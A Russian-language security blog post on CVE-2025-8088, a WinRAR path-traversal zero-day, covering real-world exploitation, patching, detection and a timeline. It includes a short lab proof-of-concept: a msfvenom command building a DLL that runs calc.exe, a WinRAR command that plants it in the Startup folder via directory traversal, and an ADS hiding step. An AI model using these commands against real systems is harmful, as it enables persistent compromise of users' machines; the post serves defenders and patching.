CVE-2025-8088: Zero-Day Path Traversal в WinRAR — от нуля до взлома 🗿

Введение — «Старый друг» дал маху

WinRAR — пыльная классика, которая стоит у всех, но никто не обновляет — только что получил критический zero-day: CVE-2025-8088.

• Серьёзность: CVSS v3.1 → 8.8 (высокий)
• Эксплуатируется в реальных атаках такими угрозами, как RomCom (Storm-0978) и Paper Werewolf.
• Исправлено в: WinRAR 7.13 (выпущено 30 июля 2025).
• Если у вас версия 7.12 или ниже — вы уязвимы.

CISA даже внесла его в свой каталог известных эксплуатируемых уязвимостей с крайним сроком устранения до 2 сентября 2025. Это не теория — это реальная угроза.

В чём баг? 🧩

• Тип: Path Traversal (обход каталогов)
• Особенность: Использование альтернативных потоков данных (ADS) для сокрытия полезной нагрузки
• Воздействие: Вредоносные RAR-файлы могут извлекать содержимое за пределы целевой папки — например: ..\Startup\evil.dll
• Результат: Размещение произвольных файлов → закрепление → бэкдор → полный контроль.

Затрагивает: WinRAR для Windows (≤7.12), UnRAR.dll, Portable UnRAR Безопасны: сборки для Linux, Unix, Android.

Прежде всего — вы уязвимы? 🕵️‍♂️

Прежде чем паниковать или притворяться хакером, проверьте свою версию.

Как проверить:

• Графический интерфейс: Откройте WinRAR → Справка → О программе WinRAR
• Командная строка/PowerShell:

winget list WinRAR

(или запустите winrar.exe из папки установки)

• Проверка DLL: ПКМ на UnRAR.dll → Свойства → Подробно.

Когда я начал писать это, у меня была версия 7.10 — да, ripe for the picking 🗿🐔🍗.

Как установить заплатку (пока кто-то не «заплатил» вам 🛡️)

1. Скачайте последнюю версию с: rarlab.com/download.htm
2. Выберите 64-битную или 32-битную версию в зависимости от системы.
3. Запустите установщик — он перезапишет старую сборку.
4. Проверьте: Справка → О программе WinRAR → должно быть 7.13 или выше.
5. Замените UnRAR.dll в зависимых инструментах, если таковые имеются.

WinRAR не обновляется автоматически — поставьте напоминание в календаре, не становитесь статичной мишенью.

PS: Не обращайте внимания на мой крутой обоины — надо было немного похвастаться! 😏

Эксплуатация в реальных атаках ⚔️

• RomCom (Storm-0978): Спам-фишинг с имитацией заявок на работу, цели, связанные с Украиной.
• Paper Werewolf: Присоединились вскоре, атакуя российские организации.
• Доставленные полезные нагрузки: SnipBot, RustyClaw, варианты Mythic Agent.
• Размещение вредоносных DLL/LNK в %TEMP% и папках автозагрузки.
• CISA внесла в список 12 августа 2025 → крайний срок: 2 сентября 2025.

Доказательство концепции (PoC) — только в лаборатории! 🧨

⚠ Отказ от ответственности: Это только для образовательного и авторизованного тестирования безопасности. Не ведите себя как гремлины 🗿.

Шаг 1: Создание вредоносной DLL

msfvenom -p windows/x64/exec CMD=calc.exe -f dll > evil.dll

Шаг 2: Создание RAR с обходом каталогов

winrar a -ep -ap"\\..\\..\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\" payload.rar evil.dll

Шаг 3: (Опционально) Скрытие через ADS

type evil.dll > legit.txt:evil.dll

Шаг 4: Извлечение с помощью уязвимого WinRAR

Бум — evil.dll оказывается в папке автозагрузки. Следующая перезагрузка? Привет, calc.exe.

Смягчение и охота 🐺

• Установите заплатку → WinRAR 7.13+

• Ищите подозрительные .dll или .lnk в:

  • %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup
  • %TEMP%

• Мониторинг ADS:

  root@kitploit:~

  streams.exe -s C:\
  

• Правила IDS/IPS: отслеживать RAR с последовательностями ..\.

• Плагины Nessus/Qualys уже доступны.

Основные даты

• 18 июля 2025 – ESET обнаруживает активную эксплуатацию
• 30 июля 2025 – Выпущено исправление (7.13)
• 12 августа 2025 – Внесено в каталог CISA KEV
• 2 сентября 2025 – Обязательный срок устранения для федеральных агентств

Заключение — ставьте патч или погибайте 🗿

Это была не уязвимость «когда-нибудь» — она была вооружена до публичного раскрытия. Если вы всё ещё сидите на 7.10 (как я, когда писал это) — ставьте патч сейчас. Если вы на стороне красной команды, рассматривайте это как пример того, как старые инструменты становятся новыми векторами атак.